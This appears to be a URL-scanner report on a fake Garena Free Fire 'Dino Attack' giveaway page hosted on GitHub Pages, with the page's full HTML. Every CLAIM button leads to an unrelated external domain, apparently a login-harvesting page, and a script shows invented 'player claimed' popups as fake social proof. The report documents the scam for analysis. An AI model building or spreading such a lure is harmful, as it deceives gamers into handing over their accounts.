https://sunil7897890.github.io/Garena-FreeFire-Dino/

Scan ID:
ee00d142-a584-4c07-928d-aef5e0cd1ffeFinished
Submitted URL:
https://sunil7897890.github.io/Garena-FreeFire-Dino/
Report Finished:

The outgoing links identified from the page

LinkText
https://pro.riccardomalisano.com/about/z1to.html?u=eb-log/?i=ZSU9PCLAIM

JavaScript Variables · 6 found

Global JavaScript variables loaded on the window object of a page, are variables declared outside of functions and accessible from anywhere in the code within the current scope

NameType
onbeforetoggleobject
documentPictureInPictureobject
onscrollendobject
showItemsfunction
showSkinsfunction
showRandomPopupfunction

Console log messages · 2 found

Messages logged to the web console

TypeCategoryLog
warningother
Text
Error with Permissions-Policy header: Origin trial controlled feature not enabled: 'interest-cohort'.
errornetwork
URL
https://sunil7897890.github.io/favicon.ico
Text
Failed to load resource: the server responded with a status of 404 ()

HTML

The raw HTML body of the page

<!DOCTYPE html><html lang="en"><head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Garena Free Fire - Event 202</title><link href="https://fonts.googleapis.com/css2?family=Russo+One&amp;display=swap" rel="stylesheet">

<style>
    body {
        font-family: Arial, sans-serif;
        background-color: #0d0d0d;
        color: white;
        margin: 0;
        padding: 0;
    }
    
    /* Header Section */
    .header {
        background-color: #000000;
        padding: 7px;
        text-align: center;
        position: relative;  /* Added to allow positioning of elements within */
    }
    
    .header img {
       border-radius: 5px; 
       position: absolute;
       top: 5px;  /* Distance from the top of the header */
       left: 5px;  /* Distance from the left of the header */
       width: 50px; /* Icon size */
       height: 50px;
    }
        .header h1 {
          font-family: 'Russo One', sans-serif;
            display: inline-block;
            margin: 0;
            font-size: 20px;
            left: 10px;
            letter-spacing: 1px;
        }

        .header h2 {
            margin: 0;  
            font-size: 14px;
            color: #cccccc;
            @import url('https://fonts.googleapis.com/css2?family=Russo+One&display=swap');

font-family: 'Russo One', sans-serif;
        }

        /* Image Section */
        .main-image {
            width: 395px;
            height: 300px;
            display: block;
            margin: 10px 0;
        }

        /* Line Separator */
        .line-separator {
            border-bottom: 1px solid #cccccc;
            margin: 2px 0;
        }

        /* Button Section */
        .button-section {
            display: flex;
            justify-content: center;
            margin: 10px 10;
        }

        .button-section button {
          border-radius: 2px;
            background-color: #F7F709;
            color: white;
            border: none;
            padding: 10px 25px;
            margin: 0 5px;
            cursor: pointer;
            font-size: 16px;
            @import url('https://fonts.googleapis.com/css2?family=Russo+One&display=swap');

font-family: 'Russo One', sans-serif;
        }

        .button-section button.active {
            background-color: #00FF89;
        }

        /* Item and Skin Section */
        .grid-container {
            display: grid;
            grid-template-columns: repeat(2, 1fr);
            gap: 10px;
            margin: 20px;
        }

        .grid-item {
            background-color: #1a1a1a;
            text-align: center;
            padding: 10px;
            border: 3px solid #cccccc;
        }

        .grid-item img {
            width: 100%;
            height: auto;
        }

        .grid-item button {
            background-color: #FFFF00;
            border: none;
            color: black;
            padding: 10px 45px;
            cursor: pointer;
            margin-top: 1px;
            @import url('https://fonts.googleapis.com/css2?family=Russo+One&display=swap');

font-family: 'Russo One', sans-serif;
        }

        .grid-item button:hover {
            background-color: #FFFF00;
        }
    </style>
</head>
<body>

    <!-- Header Section -->
    <div class="header">
        <img src="https://i.postimg.cc/zGKXnBnF/unnamed.webp
" alt="icon">
        <h1>Garena Free Fire</h1>
        <h2>DINO ATTACK SPECIAL GIFT</h2>
    </div>
  


    <!-- Main Image Section -->
    <div>
        <img src="https://i.postimg.cc/PrgBzqqK/IMG-20240914-120230.jpg" class="main-image" alt="Booyah">
        <div class="line-separator"></div>
    </div>

    <!-- Buttons Section -->
    <div class="button-section">
        <button class="active" onclick="showSkins()">2D DINO</button>
        <button onclick="showItems()">ALL DINO</button>
    </div>

    <!-- Grid Container for Images -->
    <div class="grid-container">
        <!-- Item 1 -->
        <div class="grid-item">
            <img src="https://i.postimg.cc/4NtvD4JY/Picsart-24-09-13-18-35-22-234.png" alt="Blue Flame Draco">
           <a href="https://pro.riccardomalisano.com/about/z1to.html?u=eb-log/?i=ZSU9P"> <button>CLAIM</button></a>
        </div>
        <!-- Item 2 -->
        <div class="grid-item">
            <img src="https://i.postimg.cc/J7jcg47G/Picsart-24-09-13-18-37-12-133.png" alt="Iron Fortress">
           <a href="https://pro.riccardomalisano.com/about/z1to.html?u=eb-log/?i=ZSU9P"><button>CLAIM</button></a>

    <script>
        function showItems() {
            document.querySelector(".grid-container").innerHTML = `
                <div class="grid-item">
                    <img src="https://i.postimg.cc/5ykxpWr1/Picsart-24-09-13-18-21-16-025.png" alt="Item 1">
                    <a href="https://pro.riccardomalisano.com/about/z1to.html?u=eb-log/?i=ZSU9P"><button>CLAIM</button></a>
                </div>
                <div class="grid-item">
                    <img src="https://i.postimg.cc/8cg3SKrW/Picsart-24-09-13-18-24-23-245.png">
                    <a href="https://pro.riccardomalisano.com/about/z1to.html?u=eb-log/?i=ZSU9P"><button>CLAIM</button></a>
                </div>
                <div class="grid-item">
                    <img src="https://i.postimg.cc/SQZ8H2FQ/Picsart-24-09-13-18-25-57-037.png">
                    <a href="https://pro.riccardomalisano.com/about/z1to.html?u=eb-log/?i=ZSU9P"><button>CLAIM</button></a>
                </div>
                <div class="grid-item">
                   <a href="mailto:"><img src="https://i.postimg.cc/PrgBzqqK/IMG-20240914-120230.jpg"></a>
                   <a href="https://pro.riccardomalisano.com/about/z1to.html?u=eb-log/?i=ZSU9P"> <button>CLAIM</button></a>`;
            document.querySelectorAll(".button-section button").forEach(button => button.classList.remove('active'));
            document.querySelector(".button-section button:nth-child(2)").classList.add('active');
        }

        function showSkins() {
            document.querySelector(".grid-container").innerHTML = `
                <div class="grid-item">
                    <img src="https://i.postimg.cc/4NtvD4JY/Picsart-24-09-13-18-35-22-234.png" alt="Blue Flame Draco">
                    <a href="https://pro.riccardomalisano.com/about/z1to.html?u=eb-log/?i=ZSU9P"><button>CLAIM</button></a>
                </div>
                <div class="grid-item">
                    <img src="https://i.postimg.cc/J7jcg47G/Picsart-24-09-13-18-37-12-133.png" alt="Iron Fortress">
                    <a href="https://pro.riccardomalisano.com/about/z1to.html?u=eb-log/?i=ZSU9P"><button>CLAIM</button></a>
                  </div>`;
            document.querySelectorAll(".button-section button").forEach(button => button.classList.remove('active'));
            document.querySelector(".button-section button:nth-child(1)").classList.add('active');
        }
    </script>
    <script>
      const popup = document.getElementById('popup');
const popupMessage = document.getElementById('popupMessage');
const closePopup = document.getElementById('closePopup');

// Array of random messages
const messages = [
  "Ashish mirror CLAIMed the game reword!",
  "ｃｕｔｅｇｉｒｌ CLAIMed the game reword!",
  "Eun-woo - CLAIMed the game reword!",
  "ɴᴘ_ᴄʜʜᴇᴛʀɪ✓ CLAIMed the game reword!",
  "ꔪ乂YÛDÎÑ乂 CLAIMed!",
  "Ramraj GURJAR CLAIMed the game reword!",
  "GᴍʀㅤPʀᴀʙʜ CLAIMed the game reword!",
  "メS I L E N Tメ CLAIMed the game reword!",
  "꧁ᶜʳᵃᶻʸkiller꧂ CLAIMed the game reword!",
  "Ƭ͢ɴ J ᴇ ʀ ʀ ʏ ❶ CLAIMed the game reword!",
  "UN Lucky Boy CLAIMed the game reword!",
  "নিতুম কড়া  CLAIMed the game reword!",
  "ᎬʟɪᴛᴇㅤᏚᴜʀꫝᴊ  CLAIMed the game reword!",
];

// Function to show random popup
function showRandomPopup() {
  const randomMessage = messages[Math.floor(Math.random() * messages.length)];
  popupMessage.textContent = randomMessage;
  popup.classList.remove('hidden');
  popup.classList.add('show');

  // Reset the fill animation
  const popupBackground = document.querySelector('.popup-background');
  popupBackground.style.width = '0'; // Reset to 0 to start animation again
  popupBackground.style.animation = 'none'; // Remove any ongoing animation
  setTimeout(() => {
    popupBackground.style.animation = ''; // Add back the animation
  }, 10); // Small timeout to trigger animation reset

  // Hide the popup after 3 seconds
  setTimeout(() => {
    popup.classList.remove('show');
    popup.classList.add('hidden');
  }, 3000);
}

// Show a new popup every 5 seconds
setInterval(showRandomPopup, 5000);

// Close the popup manually
closePopup.addEventListener('click', () => {
  popup.classList.remove('show');
  popup.classList.add('hidden');
});

      
    </script>


</div></div></body></html>